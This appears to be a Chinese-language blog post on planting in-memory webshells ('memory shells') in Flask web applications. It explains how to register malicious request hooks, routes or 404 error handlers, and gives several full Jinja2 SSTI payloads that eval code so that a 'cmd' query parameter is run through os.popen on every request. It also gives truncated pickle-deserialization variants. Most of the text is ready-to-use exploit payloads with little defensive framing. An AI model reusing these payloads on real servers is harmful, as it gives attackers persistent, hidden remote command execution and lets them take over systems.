Flask内存马
测试代码
1 | from flask import Flask, request, render_template_string |
利用点
@app.route()
app.add_url_rule用于添加路由
1 | # rule: 路由; view_func: 视图函数 |
现版本似乎已不可用
@app.before_request
before_request
方法允许我们在每个请求之前执行一些操作。我们可以利用这个方法来进行身份验证、请求参数的预处理等任务。
1 | # f: 注册的函数 |
用这个方法构造内存马的坏处是服务后续操作都无法进行。
@app.after_request
after_request
方法允许我们在每个请求之后执行一些操作。我们可以利用这个方法来添加一些响应头、记录请求日志等任务。
1 | # f: 注册的函数 |
为了不影响原来的web服务,这里编写一个函数,函数需要传入一个response再返回一个response,构造以下函数
1 | lambda resp: #传入参数 |
如果不需要考虑原服务可以仿照before_request
的方法编写payload
@app.teardown_request
在 Flask 中,每次接收到一个请求并处理完毕后,都会调用 teardown_request() 函数。这个函数可以被开发人员用来释放请求过程中分配的资源或执行其他清理操作。通常,它用于一些与请求生命周期相关的操作,例如关闭数据库连接、释放文件句柄等。
1 | # f: 注册的函数 |
可以用来实现无回显RCE
@app.errorhandler
Register a function to handle errors by code or exception class.
因为register_error_handler
无法直接使用所以使用error_handler_spec
1 | errorhandler -> self.register_error_handler(code_or_exception, f) |
传入的handler
需要接受一个error
获取app
1 | app |
SSTI
add_url_rule
1 | {{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}} |
这里_request_ctx_stack
换成直接用request
应该也可以,但是现版本测不了
before_request_funcs.setdefault
RCEpayload
1 | # current_app |
webshell /?cmd=
1 | {{url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen(request.args.get('cmd', 'whoami')).read())", {'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}} |
after_request_funcs.setdefault
webshell /?cmd=
1 | {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}} |
payload2
1 | {{url_for.__globals__['__builtins__']['eval']("__import__('flask').current_app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('flask').request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').request.args.get('cmd')).read())\")==None else resp)")}} |
error_handler_spec
404webshell /404page?cmd=
1 | {{url_for.__globals__['__builtins__']['exec']("exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda e:__import__('os').popen(request.args.get('cmd', 'whoami')).read()", {'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}} |
Pickle反序列化
before_request_funcs.setdefault
webshell /?cmd=
1 | opcode = b'''(c__builtin__ |
after_request_funcs.setdefault
webshell /?cmd=
1 | opcode = b'''(c__builtin__ |
error_handler_spec
404webshell /404page?cmd=
1 | opcode = b'''(c__builtin__ |
参考文章: